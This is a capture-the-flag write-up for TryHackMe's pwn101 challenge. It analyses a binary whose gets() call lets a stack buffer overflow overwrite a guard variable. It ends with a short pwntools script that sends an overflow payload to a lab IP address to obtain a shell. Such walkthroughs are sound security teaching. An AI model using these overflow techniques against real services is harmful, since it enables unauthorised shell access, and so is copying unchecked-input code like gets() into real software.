TryHackMe - pwn101

Challenge Description

This should give you a start: ‘AAAAAAAAAAA’ Challenge is running on port 9001

Provided: IP: 10.10.14.244 Files: pwn101.pwn101

Initial Recon & Analysis

Running file command on pwn101.pwn101:

file pwn101.pwn101
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
  • This is a 64-bit Linux executable file
  • Not stripped - Debugging symbols are present, making reverse engineering easier
  • Dynamically linked - Uses shared system libraries
  • PIE enabled - Position Independent Executable

Running the binary we are presented with:

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani:
NotSure
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/

We can use tool checksec to see what protections this binary has been compiled with:

checksec pwn101.pwn101
[*] 'pwn101.pwn101'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Full RERLO means it has full Relocation Readonly NX Enabled means we can’t execute code from stack or heap Pie Enabled means it is Position Independent Executable

Step 1: Understanding the Challenge

I used ghidra to get decompiled code and here is the main function

void main(void)

{
  char local_48 [60];
  int local_c;

  local_c = 0x539;
  setup();
  banner();
  puts(
      "Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have l ow memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can  you help me to buy those items :D\n"
      );
  puts("Type the required ingredients to make briyani: ");
  gets(local_48);
  if (local_c == 0x539) {
    puts("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
                    /* WARNING: Subroutine does not return */
    exit(0x539);
  }
  puts("Thanks, Here\'s a small gift for you <3");
  system("/bin/sh");
  return;
}

It is important to understand what all of the functions do so we can understand where the vulnerability is

The gets function is dangerous because it does not perform any bounds checking, allowing users to input more data than the target buffer can hold, leading to buffer overflows.

We can see the program puts hexadecimal value 0x539 in varible local_c. Preforms some priniting. Gets our input. Checks if the variable is equal to 0x539 and if it is not it gives us the shell.

In dissasembler it looks like this:

sub    rsp,0x40
DWORD PTR [rbp-0x4],0x539
cmp    DWORD PTR [rbp-0x4],0x539
jne    0x8f9 <main+107>

Where the address 0x8f9 exists the loop and uses system to give us /bin/sh shell

call   0x6c0 <system@plt>
  • Buffer starts at: rbp - 0x40 (64 bytes from rbp)

  • Target variable at: rbp - 0x4 (4 bytes from rbp)

Distance: (rbp - 0x4) - (rbp - 0x40) = 0x40 - 0x4 = 0x3C bytes

Solution

Now that we know how much the distance is we can write simple script that will calculate and print characters until it overflows the buffer.

from pwn import *

context.binary = binary = "./pwn101.pwn101"

payload = b"A"*((0x40-0x4)+1)

#p = process()
p = remote("10.10.14.244", 9001)
p.recv()
p.sendline(payload)
p.interactive()

Tools & References Used

pwntools documentation - https://docs.pwntools.com/en/stable/